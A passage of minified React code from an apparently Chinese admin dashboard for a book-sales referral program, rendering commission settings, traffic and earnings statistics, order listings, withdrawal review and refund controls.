分销设置"]}),s.jsx("p",{className:"text-gray-400 mt-1",children:"统一管理「好友优惠」「你得 90% 收益」「绑定期 30 天」「提现门槛」等规则,小程序和 Web 共用这套配置。"})]}),s.jsxs(te,{onClick:c,disabled:i||r,className:"bg-[#38bdac] hover:bg-[#2da396] text-white",children:[s.jsx(bn,{className:"w-4 h-4 mr-2"}),i?"保存中...":"保存配置"]})]}),s.jsxs("div",{className:"space-y-6",children:[s.jsxs(Ce,{className:"bg-[#0f2137] border-gray-700/50 shadow-xl",children:[s.jsxs(Ye,{children:[s.jsxs(Qe,{className:"flex items-center gap-2 text-white",children:[s.jsx(fA,{className:"w-4 h-4 text-[#38bdac]"}),"推广规则"]}),s.jsx(It,{className:"text-gray-400",children:"这三项会直接体现在小程序「推广规则」卡片上,同时影响实收佣金计算。"})]}),s.jsx(Ee,{className:"space-y-6",children:s.jsxs("div",{className:"grid grid-cols-3 gap-6",children:[s.jsxs("div",{className:"space-y-2",children:[s.jsxs(X,{className:"text-gray-300 flex items-center gap-2",children:[s.jsx(Su,{className:"w-3 h-3 text-[#38bdac]"}),"好友优惠(%)"]}),s.jsx(se,{type:"number",min:0,max:100,className:"bg-[#0a1628] border-gray-700 text-white",value:e.userDiscount,onChange:u("userDiscount")}),s.jsx("p",{className:"text-xs text-gray-500",children:"例如 5 表示好友立减 5%(在价格配置基础上生效)。"})]}),s.jsxs("div",{className:"space-y-2",children:[s.jsxs(X,{className:"text-gray-300 flex items-center gap-2",children:[s.jsx(Zn,{className:"w-3 h-3 text-[#38bdac]"}),"推广者分成(%)"]}),s.jsxs("div",{className:"flex items-center gap-4",children:[s.jsx(OP,{className:"flex-1",min:10,max:100,step:1,value:[e.distributorShare],onValueChange:([h])=>n(f=>({...f,distributorShare:h}))}),s.jsx(se,{type:"number",min:0,max:100,className:"w-20 bg-[#0a1628] border-gray-700 text-white text-center",value:e.distributorShare,onChange:u("distributorShare")})]}),s.jsxs("p",{className:"text-xs text-gray-500",children:["内容订单佣金 = 订单金额 ×"," ",s.jsxs("span",{className:"text-[#38bdac] font-mono",children:[e.distributorShare,"%"]}),";会员订单见下方。"]})]}),s.jsxs("div",{className:"space-y-2",children:[s.jsxs(X,{className:"text-gray-300 flex items-center gap-2",children:[s.jsx(Su,{className:"w-3 h-3 text-[#38bdac]"}),"会员订单分润(推广者是会员 %)"]}),s.jsx(se,{type:"number",min:0,max:100,className:"bg-[#0a1628] border-gray-700 text-white",value:e.vipOrderShareVip,onChange:u("vipOrderShareVip")}),s.jsx("p",{className:"text-xs text-gray-500",children:"推广者已是会员时,会员订单佣金比例,默认 20%。"})]}),s.jsxs("div",{className:"space-y-2",children:[s.jsxs(X,{className:"text-gray-300 flex items-center gap-2",children:[s.jsx(Su,{className:"w-3 h-3 text-[#38bdac]"}),"会员订单分润(推广者非会员 %)"]}),s.jsx(se,{type:"number",min:0,max:100,className:"bg-[#0a1628] border-gray-700 text-white",value:e.vipOrderShareNonVip,onChange:u("vipOrderShareNonVip")}),s.jsx("p",{className:"text-xs text-gray-500",children:"推广者非会员时,会员订单佣金比例,默认 10%。"})]}),s.jsxs("div",{className:"space-y-2",children:[s.jsxs(X,{className:"text-gray-300 flex items-center gap-2",children:[s.jsx(Zn,{className:"w-3 h-3 text-[#38bdac]"}),"绑定有效期(天)"]}),s.jsx(se,{type:"number",min:1,max:365,className:"bg-[#0a1628] border-gray-700 text-white",value:e.bindingDays,onChange:u("bindingDays")}),s.jsx("p",{className:"text-xs text-gray-500",children:"好友通过你的链接进来并登录后,绑定在你名下的天数。"})]})]})})]}),s.jsxs(Ce,{className:"bg-[#0f2137] border-gray-700/50 shadow-xl",children:[s.jsxs(Ye,{children:[s.jsxs(Qe,{className:"flex items-center gap-2 text-white",children:[s.jsx(jl,{className:"w-4 h-4 text-[#38bdac]"}),"提现规则"]}),s.jsx(It,{className:"text-gray-400",children:"与「提现中心」「自动提现」相关的参数,影响推广者看到的可提现金额和最低门槛。"})]}),s.jsx(Ee,{className:"space-y-6",children:s.jsxs("div",{className:"grid grid-cols-2 gap-6",children:[s.jsxs("div",{className:"space-y-2",children:[s.jsx(X,{className:"text-gray-300",children:"最低提现金额(元)"}),s.jsx(se,{type:"number",min:0,step:1,className:"bg-[#0a1628] border-gray-700 text-white",value:e.minWithdrawAmount,onChange:u("minWithdrawAmount")}),s.jsx("p",{className:"text-xs text-gray-500",children:"小程序「满 X 元可提现」展示的门槛,同时用于后端接口校验。"})]}),s.jsxs("div",{className:"space-y-2",children:[s.jsxs(X,{className:"text-gray-300 flex items-center gap-2",children:["自动提现开关",s.jsx(qe,{variant:"outline",className:"border-[#38bdac]/40 text-[#38bdac] text-[10px]",children:"预留"})]}),s.jsxs("div",{className:"flex items-center gap-3 mt-1",children:[s.jsx(kt,{checked:e.enableAutoWithdraw,onCheckedChange:h=>n(f=>({...f,enableAutoWithdraw:h}))}),s.jsx("span",{className:"text-sm text-gray-400",children:"开启后,可结合定时任务实现「收益自动打款到微信零钱」。"})]})]})]})})]}),s.jsxs(Ce,{className:"bg-[#0f2137] border-gray-700/50",children:[s.jsx(Ye,{children:s.jsxs(Qe,{className:"flex items-center gap-2 text-gray-200 text-sm",children:[s.jsx(Su,{className:"w-4 h-4 text-[#38bdac]"}),"使用说明"]})}),s.jsxs(Ee,{className:"space-y-2 text-xs text-gray-400 leading-relaxed",children:[s.jsxs("p",{children:["1. 以上配置会写入"," ",s.jsx("code",{className:"font-mono text-[11px] text-[#38bdac]",children:"system_config.referral_config"}),",小程序「推广中心」、Web 推广页以及支付回调都会读取同一份配置。"]}),s.jsx("p",{children:"2. 修改后新订单立即生效;旧订单的历史佣金不会自动重算,只影响之后产生的订单。"}),s.jsx("p",{children:"3. 如遇前端展示与实际结算不一致,优先以此处配置为准,再排查缓存和小程序版本。"})]})]})]})]})}function LP(){var Hn;const[t,e]=b.useState("overview"),[n,r]=b.useState([]),[a,i]=b.useState(null),[o,c]=b.useState([]),[u,h]=b.useState([]),[f,m]=b.useState([]),[g,y]=b.useState(!0),[N,w]=b.useState(null),[v,k]=b.useState(""),[C,E]=b.useState("all"),[T,I]=b.useState(1),[O,L]=b.useState(10),[R,D]=b.useState(0),[_,Z]=b.useState(new Set),[ne,fe]=b.useState(null),[xe,$]=b.useState(""),[H,oe]=b.useState(!1),[P,K]=b.useState(null),[V,z]=b.useState(""),[U,le]=b.useState(!1),[J,Y]=b.useState([]),[B,re]=b.useState(1),[ue,ce]=b.useState(0),[ye,Re]=b.useState("");b.useEffect(()=>{Le()},[]),b.useEffect(()=>{I(1)},[t,C]),b.useEffect(()=>{lt(t)},[t]),b.useEffect(()=>{["orders","bindings","withdrawals"].includes(t)&<(t,!0),t==="giftPay"&<("giftPay",!0)},[T,O,C,v,B,ye]);async function Le(){w(null);try{const q=await De("/api/admin/distribution/overview");q!=null&&q.success&&q.overview&&i(q.overview)}catch(q){console.error("[Admin] 概览接口异常:",q),w("加载概览失败")}try{const q=await De("/api/db/users");m((q==null?void 0:q.users)||[])}catch(q){console.error("[Admin] 用户数据加载失败:",q)}}async function lt(q,We=!1){var Je;if(!(!We&&_.has(q))){y(!0);try{const xt=f;switch(q){case"overview":break;case"orders":{try{const ct=new URLSearchParams({page:String(T),pageSize:String(O),...C!=="all"&&{status:C},...v&&{search:v}}),nt=await De(`/api/admin/orders?${ct}`);if(nt!=null&&nt.success&&nt.orders){const gt=nt.orders.map(Rt=>{const gn=xt.find(wr=>wr.id===Rt.userId),mr=Rt.referrerId?xt.find(wr=>wr.id===Rt.referrerId):null;return{...Rt,amount:parseFloat(String(Rt.amount))||0,userNickname:(gn==null?void 0:gn.nickname)||Rt.userNickname||"未知用户",userPhone:(gn==null?void 0:gn.phone)||Rt.userPhone||"-",referrerNickname:(mr==null?void 0:mr.nickname)||null,referrerCode:(mr==null?void 0:mr.referralCode)??null,type:Rt.productType||Rt.type}});r(gt),D(nt.total??gt.length)}else r([]),D(0)}catch(ct){console.error(ct),w("加载订单失败"),r([])}break}case"bindings":{try{const ct=new URLSearchParams({page:String(T),pageSize:String(O),...C!=="all"&&{status:C}}),nt=await De(`/api/db/distribution?${ct}`);c((nt==null?void 0:nt.bindings)||[]),D((nt==null?void 0:nt.total)??((Je=nt==null?void 0:nt.bindings)==null?void 0:Je.length)??0)}catch(ct){console.error(ct),w("加载绑定数据失败"),c([])}break}case"withdrawals":{try{const ct=C==="completed"?"success":C==="rejected"?"failed":C,nt=new URLSearchParams({...ct&&ct!=="all"&&{status:ct},page:String(T),pageSize:String(O)}),gt=await De(`/api/admin/withdrawals?${nt}`);if(gt!=null&>.success&>.withdrawals){const Rt=gt.withdrawals.map(gn=>({...gn,account:gn.account??"未绑定微信号",status:gn.status==="success"?"completed":gn.status==="failed"?"rejected":gn.status}));h(Rt),D((gt==null?void 0:gt.total)??Rt.length)}else gt!=null&>.success||w(`获取提现记录失败: ${(gt==null?void 0:gt.error)||"未知错误"}`),h([])}catch(ct){console.error(ct),w("加载提现数据失败"),h([])}break}case"giftPay":{try{const ct=new URLSearchParams({page:String(B),pageSize:"20",...ye&&{status:ye}}),nt=await De(`/api/admin/gift-pay-requests?${ct}`);nt!=null&&nt.success&&nt.data?(Y(nt.data),ce(nt.total??nt.data.length)):(Y([]),ce(0))}catch(ct){console.error(ct),w("加载代付请求失败"),Y([])}break}}Z(ct=>new Set(ct).add(q))}catch(xt){console.error(xt)}finally{y(!1)}}}async function Tt(){w(null),Z(q=>{const We=new Set(q);return We.delete(t),We}),t==="overview"&&Le(),await lt(t,!0)}async function ln(q){if(confirm("确认审核通过并打款?"))try{const We=await zt("/api/admin/withdrawals",{id:q,action:"approve"});if(!(We!=null&&We.success)){const Je=(We==null?void 0:We.message)||(We==null?void 0:We.error)||"操作失败";ie.error(Je);return}await Tt()}catch(We){console.error(We),ie.error("操作失败")}}function yt(q){K(q),z("")}async function nn(){const q=P;if(!q)return;const We=V.trim();if(!We){ie.error("请填写拒绝原因");return}le(!0);try{const Je=await zt("/api/admin/withdrawals",{id:q,action:"reject",errorMessage:We});if(!(Je!=null&&Je.success)){ie.error((Je==null?void 0:Je.error)||"操作失败");return}ie.success("已拒绝该提现申请"),K(null),z(""),await Tt()}catch(Je){console.error(Je),ie.error("操作失败")}finally{le(!1)}}function In(){P&&ie.info("已取消操作"),K(null),z("")}async function Mt(){var q;if(!(!(ne!=null&&ne.orderSn)&&!(ne!=null&&ne.id))){oe(!0),w(null);try{const We=await zt("/api/admin/orders/refund",{orderSn:ne.orderSn||ne.id,reason:xe||void 0});We!=null&&We.success?(fe(null),$(""),await lt("orders",!0)):w((We==null?void 0:We.error)||"退款失败")}catch(We){const Je=We;w(((q=Je==null?void 0:Je.data)==null?void 0:q.error)||"退款失败,请检查网络后重试")}finally{oe(!1)}}}function Yt(q){const We={active:"bg-green-500/20 text-green-400",converted:"bg-blue-500/20 text-blue-400",expired:"bg-gray-500/20 text-gray-400",cancelled:"bg-red-500/20 text-red-400",pending:"bg-orange-500/20 text-orange-400",pending_confirm:"bg-orange-500/20 text-orange-400",processing:"bg-blue-500/20 text-blue-400",completed:"bg-green-500/20 text-green-400",rejected:"bg-red-500/20 text-red-400"},Je={active:"有效",converted:"已转化",expired:"已过期",cancelled:"已取消",pending:"待审核",pending_confirm:"待用户确认",processing:"处理中",completed:"已完成",rejected:"已拒绝"};return s.jsx(qe,{className:`${We[q]||"bg-gray-500/20 text-gray-400"} border-0`,children:Je[q]||q})}const rn=Math.ceil(R/O)||1,Rn=n,pr=o.filter(q=>{var Je,xt,ct,nt;if(!v)return!0;const We=v.toLowerCase();return((Je=q.refereeNickname)==null?void 0:Je.toLowerCase().includes(We))||((xt=q.refereePhone)==null?void 0:xt.includes(We))||((ct=q.referrerName)==null?void 0:ct.toLowerCase().includes(We))||((nt=q.referrerCode)==null?void 0:nt.toLowerCase().includes(We))}),Pn=u.filter(q=>{var Je;if(!v)return!0;const We=v.toLowerCase();return((Je=q.userName)==null?void 0:Je.toLowerCase().includes(We))||q.account&&q.account.toLowerCase().includes(We)});return s.jsxs("div",{className:"p-8 w-full",children:[N&&s.jsxs("div",{className:"mb-4 px-4 py-3 rounded-lg bg-red-500/20 border border-red-500/50 text-red-400 text-sm flex items-center justify-between",children:[s.jsx("span",{children:N}),s.jsx("button",{type:"button",onClick:()=>w(null),className:"hover:text-red-300",children:"×"})]}),s.jsxs("div",{className:"flex items-center justify-between mb-8",children:[s.jsxs("div",{children:[s.jsx("h1",{className:"text-2xl font-bold text-white",children:"推广中心"}),s.jsx("p",{className:"text-gray-400 mt-1",children:"统一管理:订单、分销绑定、提现审核"})]}),s.jsxs(te,{onClick:Tt,disabled:g,variant:"outline",className:"border-gray-700 text-gray-300 hover:bg-gray-800",children:[s.jsx(Ke,{className:`w-4 h-4 mr-2 ${g?"animate-spin":""}`}),"刷新数据"]})]}),s.jsx("div",{className:"flex gap-2 mb-6 border-b border-gray-700 pb-4 flex-wrap",children:[{key:"overview",label:"数据概览",icon:$c},{key:"orders",label:"订单管理",icon:dh},{key:"bindings",label:"绑定管理",icon:Ss},{key:"withdrawals",label:"提现审核",icon:jl},{key:"giftPay",label:"代付请求",icon:Xw},{key:"settings",label:"推广设置",icon:lo}].map(q=>s.jsxs("button",{type:"button",onClick:()=>{e(q.key),E("all"),k(""),q.key==="giftPay"&&(Re(""),re(1))},className:`flex items-center gap-2 px-4 py-2 rounded-lg text-sm font-medium transition-colors ${t===q.key?"bg-[#38bdac] text-white":"text-gray-400 hover:text-white hover:bg-gray-800"}`,children:[s.jsx(q.icon,{className:"w-4 h-4"}),q.label]},q.key))}),g?s.jsxs("div",{className:"flex items-center justify-center py-20",children:[s.jsx(Ke,{className:"w-8 h-8 text-[#38bdac] animate-spin"}),s.jsx("span",{className:"ml-2 text-gray-400",children:"加载中..."})]}):s.jsxs(s.Fragment,{children:[t==="overview"&&a&&s.jsxs("div",{className:"space-y-6",children:[s.jsxs("div",{className:"grid grid-cols-4 gap-4",children:[s.jsx(Ce,{className:"bg-[#0f2137] border-gray-700/50",children:s.jsx(Ee,{className:"p-6",children:s.jsxs("div",{className:"flex items-center justify-between",children:[s.jsxs("div",{children:[s.jsx("p",{className:"text-gray-400 text-sm",children:"今日点击"}),s.jsx("p",{className:"text-2xl font-bold text-white mt-1",children:a.todayClicks}),s.jsx("p",{className:"text-xs text-gray-500 mt-0.5",children:"总点击次数(实时)"})]}),s.jsx("div",{className:"w-12 h-12 rounded-xl bg-blue-500/20 flex items-center justify-center",children:s.jsx(Ig,{className:"w-6 h-6 text-blue-400"})})]})})}),s.jsx(Ce,{className:"bg-[#0f2137] border-gray-700/50",children:s.jsx(Ee,{className:"p-6",children:s.jsxs("div",{className:"flex items-center justify-between",children:[s.jsxs("div",{children:[s.jsx("p",{className:"text-gray-400 text-sm",children:"今日独立用户"}),s.jsx("p",{className:"text-2xl font-bold text-white mt-1",children:a.todayUniqueVisitors??0}),s.jsx("p",{className:"text-xs text-gray-500 mt-0.5",children:"去重访客数(实时)"})]}),s.jsx("div",{className:"w-12 h-12 rounded-xl bg-cyan-500/20 flex items-center justify-center",children:s.jsx(Zn,{className:"w-6 h-6 text-cyan-400"})})]})})}),s.jsx(Ce,{className:"bg-[#0f2137] border-gray-700/50",children:s.jsx(Ee,{className:"p-6",children:s.jsxs("div",{className:"flex items-center justify-between",children:[s.jsxs("div",{children:[s.jsx("p",{className:"text-gray-400 text-sm",children:"今日总文章点击率"}),s.jsx("p",{className:"text-2xl font-bold text-white mt-1",children:(a.todayClickRate??0).toFixed(2)}),s.jsx("p",{className:"text-xs text-gray-500 mt-0.5",children:"人均点击(总点击/独立用户)"})]}),s.jsx("div",{className:"w-12 h-12 rounded-xl bg-amber-500/20 flex items-center justify-center",children:s.jsx($c,{className:"w-6 h-6 text-amber-400"})})]})})}),s.jsx(Ce,{className:"bg-[#0f2137] border-gray-700/50",children:s.jsx(Ee,{className:"p-6",children:s.jsxs("div",{className:"flex items-center justify-between",children:[s.jsxs("div",{children:[s.jsx("p",{className:"text-gray-400 text-sm",children:"今日绑定"}),s.jsx("p",{className:"text-2xl font-bold text-white mt-1",children:a.todayBindings})]}),s.jsx("div",{className:"w-12 h-12 rounded-xl bg-green-500/20 flex items-center justify-center",children:s.jsx(Ss,{className:"w-6 h-6 text-green-400"})})]})})}),s.jsx(Ce,{className:"bg-[#0f2137] border-gray-700/50",children:s.jsx(Ee,{className:"p-6",children:s.jsxs("div",{className:"flex items-center justify-between",children:[s.jsxs("div",{children:[s.jsx("p",{className:"text-gray-400 text-sm",children:"今日转化"}),s.jsx("p",{className:"text-2xl font-bold text-white mt-1",children:a.todayConversions})]}),s.jsx("div",{className:"w-12 h-12 rounded-xl bg-purple-500/20 flex items-center justify-center",children:s.jsx($v,{className:"w-6 h-6 text-purple-400"})})]})})}),s.jsx(Ce,{className:"bg-[#0f2137] border-gray-700/50",children:s.jsx(Ee,{className:"p-6",children:s.jsxs("div",{className:"flex items-center justify-between",children:[s.jsxs("div",{children:[s.jsx("p",{className:"text-gray-400 text-sm",children:"今日佣金"}),s.jsxs("p",{className:"text-2xl font-bold text-[#38bdac] mt-1",children:["¥",a.todayEarnings.toFixed(2)]})]}),s.jsx("div",{className:"w-12 h-12 rounded-xl bg-[#38bdac]/20 flex items-center justify-center",children:s.jsx(dh,{className:"w-6 h-6 text-[#38bdac]"})})]})})})]}),(((Hn=a.todayClicksByPage)==null?void 0:Hn.length)??0)>0&&s.jsxs(Ce,{className:"bg-[#0f2137] border-gray-700/50",children:[s.jsxs(Ye,{children:[s.jsxs(Qe,{className:"text-white flex items-center gap-2",children:[s.jsx(Ig,{className:"w-5 h-5 text-[#38bdac]"}),"每篇文章今日点击(按来源页/文章统计)"]}),s.jsx("p",{className:"text-gray-400 text-sm mt-1",children:"实际用户与实际文章的点击均计入;今日总点击与上表一致"})]}),s.jsx(Ee,{children:s.jsx("div",{className:"overflow-x-auto",children:s.jsxs("table",{className:"w-full text-sm",children:[s.jsx("thead",{children:s.jsxs("tr",{className:"border-b border-gray-700 text-left text-gray-400",children:[s.jsx("th",{className:"pb-3 pr-4",children:"来源页/文章"}),s.jsx("th",{className:"pb-3 pr-4 text-right",children:"今日点击"}),s.jsx("th",{className:"pb-3 text-right",children:"占比"})]})}),s.jsx("tbody",{children:[...a.todayClicksByPage??[]].sort((q,We)=>We.clicks-q.clicks).map((q,We)=>s.jsxs("tr",{className:"border-b border-gray-700/50",children:[s.jsx("td",{className:"py-2 pr-4 text-white font-mono",children:q.page||"(未区分)"}),s.jsx("td",{className:"py-2 pr-4 text-right text-white",children:q.clicks}),s.jsxs("td",{className:"py-2 text-right text-gray-400",children:[a.todayClicks>0?(q.clicks/a.todayClicks*100).toFixed(1):0,"%"]})]},We))})]})})})]}),s.jsxs("div",{className:"grid grid-cols-2 gap-4",children:[s.jsx(Ce,{className:"bg-orange-500/10 border-orange-500/30",children:s.jsx(Ee,{className:"p-6",children:s.jsxs("div",{className:"flex items-center gap-4",children:[s.jsx("div",{className:"w-12 h-12 rounded-xl bg-orange-500/20 flex items-center justify-center",children:s.jsx(Ag,{className:"w-6 h-6 text-orange-400"})}),s.jsxs("div",{className:"flex-1",children:[s.jsx("p",{className:"text-orange-300 font-medium",children:"即将过期绑定"}),s.jsxs("p",{className:"text-2xl font-bold text-white",children:[a.expiringBindings," 个"]}),s.jsx("p",{className:"text-orange-300/60 text-sm",children:"7天内到期,需关注转化"})]})]})})}),s.jsx(Ce,{className:"bg-blue-500/10 border-blue-500/30",children:s.jsx(Ee,{className:"p-6",children:s.jsxs("div",{className:"flex items-center gap-4",children:[s.jsx("div",{className:"w-12 h-12 rounded-xl bg-blue-500/20 flex items-center justify-center",children:s.jsx(jl,{className:"w-6 h-6 text-blue-400"})}),s.jsxs("div",{className:"flex-1",children:[s.jsx("p",{className:"text-blue-300 font-medium",children:"待审核提现"}),s.jsxs("p",{className:"text-2xl font-bold text-white",children:[a.pendingWithdrawals," 笔"]}),s.jsxs("p",{className:"text-blue-300/60 text-sm",children:["共 ¥",a.pendingWithdrawAmount.toFixed(2)]})]}),s.jsx(te,{onClick:()=>e("withdrawals"),variant:"outline",className:"border-blue-500/50 text-blue-400 hover:bg-blue-500/20",children:"去审核"})]})})})]}),s.jsxs("div",{className:"grid grid-cols-2 gap-6",children:[s.jsxs(Ce,{className:"bg-[#0f2137] border-gray-700/50",children:[s.jsx(Ye,{children:s.jsxs(Qe,{className:"text-white flex items-center gap-2",children:[s.jsx(ch,{className:"w-5 h-5 text-[#38bdac]"}),"本月统计"]})}),s.jsx(Ee,{children:s.jsxs("div",{className:"grid grid-cols-2 gap-4",children:[s.jsxs("div",{className:"p-4 bg-white/5 rounded-lg",children:[s.jsx("p",{className:"text-gray-400 text-sm",children:"点击量"}),s.jsx("p",{className:"text-xl font-bold text-white",children:a.monthClicks})]}),s.jsxs("div",{className:"p-4 bg-white/5 rounded-lg",children:[s.jsx("p",{className:"text-gray-400 text-sm",children:"绑定数"}),s.jsx("p",{className:"text-xl font-bold text-white",children:a.monthBindings})]}),s.jsxs("div",{className:"p-4 bg-white/5 rounded-lg",children:[s.jsx("p",{className:"text-gray-400 text-sm",children:"转化数"}),s.jsx("p",{className:"text-xl font-bold text-white",children:a.monthConversions})]}),s.jsxs("div",{className:"p-4 bg-white/5 rounded-lg",children:[s.jsx("p",{className:"text-gray-400 text-sm",children:"佣金"}),s.jsxs("p",{className:"text-xl font-bold text-[#38bdac]",children:["¥",a.monthEarnings.toFixed(2)]})]})]})})]}),s.jsxs(Ce,{className:"bg-[#0f2137] border-gray-700/50",children:[s.jsx(Ye,{children:s.jsxs(Qe,{className:"text-white flex items-center gap-2",children:[s.jsx($c,{className:"w-5 h-5 text-[#38bdac]"}),"累计统计"]})}),s.jsxs(Ee,{children:[s.jsxs("div",{className:"grid grid-cols-2 gap-4",children:[s.jsxs("div",{className:"p-4 bg-white/5 rounded-lg",children:[s.jsx("p",{className:"text-gray-400 text-sm",children:"总点击"}),s.jsx("p",{className:"text-xl font-bold text-white",children:a.totalClicks.toLocaleString()})]}),s.jsxs("div",{className:"p-4 bg-white/5 rounded-lg",children:[s.jsx("p",{className:"text-gray-400 text-sm",children:"总绑定"}),s.jsx("p",{className:"text-xl font-bold text-white",children:a.totalBindings.toLocaleString()})]}),s.jsxs("div",{className:"p-4 bg-white/5 rounded-lg",children:[s.jsx("p",{className:"text-gray-400 text-sm",children:"总转化"}),s.jsx("p",{className:"text-xl font-bold text-white",children:a.totalConversions})]}),s.jsxs("div",{className:"p-4 bg-white/5 rounded-lg",children:[s.jsx("p",{className:"text-gray-400 text-sm",children:"总佣金"}),s.jsxs("p",{className:"text-xl font-bold text-[#38bdac]",children:["¥",a.totalEarnings.toFixed(2)]})]})]}),s.jsxs("div",{className:"mt-4 p-4 bg-[#38bdac]/10 rounded-lg flex items-center justify-between",children:[s.jsx("span",{className:"text-gray-300",children:"点击转化率"}),s.jsxs("span",{className:"text-[#38bdac] font-bold text-xl",children:[a.conversionRate,"%"]})]})]})]})]}),s.jsxs(Ce,{className:"bg-[#0f2137] border-gray-700/50",children:[s.jsx(Ye,{children:s.jsxs(Qe,{className:"text-white flex items-center gap-2",children:[s.jsx(Zn,{className:"w-5 h-5 text-[#38bdac]"}),"推广统计"]})}),s.jsx(Ee,{children:s.jsxs("div",{className:"grid grid-cols-4 gap-4",children:[s.jsxs("div",{className:"p-4 bg-white/5 rounded-lg text-center",children:[s.jsx("p",{className:"text-3xl font-bold text-white",children:a.totalDistributors}),s.jsx("p",{className:"text-gray-400 text-sm mt-1",children:"推广用户数"})]}),s.jsxs("div",{className:"p-4 bg-white/5 rounded-lg text-center",children:[s.jsx("p",{className:"text-3xl font-bold text-green-400",children:a.activeDistributors}),s.jsx("p",{className:"text-gray-400 text-sm mt-1",children:"有收益用户"})]}),s.jsxs("div",{className:"p-4 bg-white/5 rounded-lg text-center",children:[s.jsx("p",{className:"text-3xl font-bold text-[#38bdac]",children:"90%"}),s.jsx("p",{className:"text-gray-400 text-sm mt-1",children:"佣金比例"})]}),s.jsxs("div",{className:"p-4 bg-white/5 rounded-lg text-center",children:[s.jsx("p",{className:"text-3xl font-bold text-orange-400",children:"30天"}),s.jsx("p",{className:"text-gray-400 text-sm mt-1",children:"绑定有效期"})]})]})})]})]}),t==="orders"&&s.jsxs("div",{className:"space-y-4",children:[s.jsxs("div",{className:"flex gap-4",children:[s.jsxs("div",{className:"relative flex-1",children:[s.jsx(Na,{className:"absolute left-3 top-1/2 -translate-y-1/2 w-4 h-4 text-gray-400"}),s.jsx(se,{value:v,onChange:q=>k(q.target.value),placeholder:"搜索订单号、用户名、手机号...",className:"pl-10 bg-[#0f2137] border-gray-700 text-white"})]}),s.jsxs("select",{value:C,onChange:q=>E(q.target.value),className:"px-4 py-2 bg-[#0f2137] border border-gray-700 rounded-lg text-white",children:[s.jsx("option",{value:"all",children:"全部状态"}),s.jsx("option",{value:"completed",children:"已完成"}),s.jsx("option",{value:"pending",children:"待支付"}),s.jsx("option",{value:"failed",children:"已失败"}),s.jsx("option",{value:"refunded",children:"已退款"})]})]}),s.jsx(Ce,{className:"bg-[#0f2137] border-gray-700/50",children:s.jsxs(Ee,{className:"p-0",children:[n.length===0?s.jsx("div",{className:"py-12 text-center text-gray-500",children:"暂无订单数据"}):s.jsx("div",{className:"overflow-x-auto",children:s.jsxs("table",{className:"w-full text-sm",children:[s.jsx("thead",{children:s.jsxs("tr",{className:"bg-[#0a1628] text-gray-400",children:[s.jsx("th",{className:"p-4 text-left font-medium",children:"订单号"}),s.jsx("th",{className:"p-4 text-left font-medium",children:"用户"}),s.jsx("th",{className:"p-4 text-left font-medium",children:"商品"}),s.jsx("th",{className:"p-4 text-left font-medium",children:"金额"}),s.jsx("th",{className:"p-4 text-left font-medium",children:"支付方式"}),s.jsx("th",{className:"p-4 text-left font-medium",children:"状态"}),s.jsx("th",{className:"p-4 text-left font-medium",children:"退款原因"}),s.jsx("th",{className:"p-4 text-left font-medium",children:"推荐人/邀请码"}),s.jsx("th",{className:"p-4 text-left font-medium",children:"分销佣金"}),s.jsx("th",{className:"p-4 text-left font-medium",children:"下单时间"}),s.jsx("th",{className:"p-4 text-left font-medium",children:"操作"})]})}),s.jsx("tbody",{className:"divide-y divide-gray-700/50",children:Rn.map(q=>{var We,Je;return s.jsxs("tr",{className:"hover:bg-[#0a1628] transition-colors",children:[s.jsxs("td",{className:"p-4 font-mono text-xs text-gray-400",children:[(We=q.id)==null?void 0:We.slice(0,12),"..."]}),s.jsx("td",{className:"p-4",children:s.jsxs("div",{children:[s.jsx("p",{className:"text-white text-sm",children:q.userNickname}),s.jsx("p",{className:"text-gray-500 text-xs",children:q.userPhone})]})}),s.jsx("td",{className:"p-4",children:s.jsxs("div",{children:[s.jsx("p",{className:"text-white text-sm",children:(()=>{const xt=q.productType||q.type,ct=q.description||"",nt=String(q.productId||q.sectionId||""),gt=xt==="vip"||ct.includes("VIP")||ct.toLowerCase().includes("vip")||nt.toLowerCase().includes("vip");return xt==="balance_recharge"?`余额充值 ¥${typeof q.amount=="number"?q.amount.toFixed(2):parseFloat(String(q.amount||"0")).toFixed(2)}`:gt?"超级个体开通费用":xt==="fullbook"?`${q.bookName||"《底层逻辑》"} - 全本`:xt==="match"?"匹配次数购买":`${q.bookName||"《底层逻辑》"} - ${q.sectionTitle||q.chapterTitle||`章节${q.productId||q.sectionId||""}`}`})()}),s.jsx("p",{className:"text-gray-500 text-xs",children:(()=>{const xt=q.productType||q.type,ct=q.description||"",nt=String(q.productId||q.sectionId||""),gt=xt==="vip"||ct.includes("VIP")||ct.toLowerCase().includes("vip")||nt.toLowerCase().includes("vip");return xt==="balance_recharge"?"余额充值":gt?"超级个体":xt==="fullbook"?"全书解锁":xt==="match"?"功能权益":q.chapterTitle||"单章购买"})()})]})}),s.jsxs("td",{className:"p-4 text-[#38bdac] font-bold",children:["¥",typeof q.amount=="number"?q.amount.toFixed(2):parseFloat(String(q.amount||"0")).toFixed(2)]}),s.jsx("td",{className:"p-4 text-gray-300",children:q.paymentMethod==="wechat"?"微信支付":q.paymentMethod==="balance"?"余额支付":q.paymentMethod==="alipay"?"支付宝":q.paymentMethod||"微信支付"}),s.jsx("td",{className:"p-4",children:q.status==="refunded"?s.jsx(qe,{className:"bg-gray-500/20 text-gray-400 border-0",children:"已退款"}):q.status==="completed"||q.status==="paid"?s.jsx(qe,{className:"bg-green-500/20 text-green-400 border-0",children:"已完成"}):q.status==="pending"||q.status==="created"?s.jsx(qe,{className:"bg-yellow-500/20 text-yellow-400 border-0",children:"待支付"}):s.jsx(qe,{className:"bg-red-500/20 text-red-400 border-0",children:"已失败"})}),s.jsx("td",{className:"p-4 text-gray-400 text-sm max-w-[120px]",title:q.refundReason,children:q.status==="refunded"&&q.refundReason?q.refundReason:"-"}),s.jsx("td",{className:"p-4 text-gray-300 text-sm",children:q.referrerId||q.referralCode?s.jsxs("span",{title:q.referralCode||q.referrerCode||q.referrerId||"",children:[q.referrerNickname||q.referralCode||q.referrerCode||((Je=q.referrerId)==null?void 0:Je.slice(0,8)),(q.referralCode||q.referrerCode)&&` (${q.referralCode||q.referrerCode})`]}):"-"}),s.jsx("td",{className:"p-4 text-[#FFD700]",children:q.referrerEarnings?`¥${(typeof q.referrerEarnings=="number"?q.referrerEarnings:parseFloat(String(q.referrerEarnings))).toFixed(2)}`:"-"}),s.jsx("td",{className:"p-4 text-gray-400 text-sm",children:q.createdAt?new Date(q.createdAt).toLocaleString("zh-CN"):"-"}),s.jsx("td",{className:"p-4",children:(q.status==="paid"||q.status==="completed")&&s.jsxs(te,{variant:"outline",size:"sm",className:"border-orange-500/50 text-orange-400 